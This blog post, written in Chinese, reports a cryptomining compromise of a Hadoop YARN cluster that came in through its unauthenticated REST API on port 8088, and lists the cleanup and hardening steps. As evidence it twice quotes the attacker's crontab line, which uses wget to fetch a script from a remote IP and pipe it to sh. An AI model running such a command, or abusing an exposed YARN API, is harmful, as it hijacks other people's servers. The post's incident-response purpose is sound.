yarn运莫名其妙的job 导致集群变慢 一直在跑一个用户为dr.who的application

2018/06/21 hadoop yarn hack

简单介绍一下过程,现在有些人通过 hadoop 开放的restApi进行挖矿,8088 以及 8090 端口。

排问题

  • 1. 集群检查

    今天检查Hadoop 服务器发现Yarn上面的job莫名其妙的变多了,而且一直再跑。 经过排查在/tmp/ /var/tmp 下面发现了 Java 还有tmp.txt 内容如下:

    服务器地址:transfer.sh

    1. 检查 crontab -l 发现了一个莫名其妙的 job
      * * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
      

解决办法

  • 1,通过查看占用cpu高得进程,kill掉此进程

  • 2,检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件

  • 3 ,通过crontab -l 查看有一个* * * * * wget -q -O - http://185.222.210.59/cr.sh sh > /dev/null 2>&1任务,删除此任务
  • 4,排查YARN日志,确认异常的application,删除处理

  • 5 再通过top验证看是否还有高cpu进程,如果有,kill掉,没有的话应该正常了。

  • 6 注意:YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的,因此注意并启用Kerberos认证功能,禁止匿名访问修改8088端口

感谢老铁登科

转载请注明出处,本文采用 CC4.0 协议授权

Affiliate

Search

    Post Directory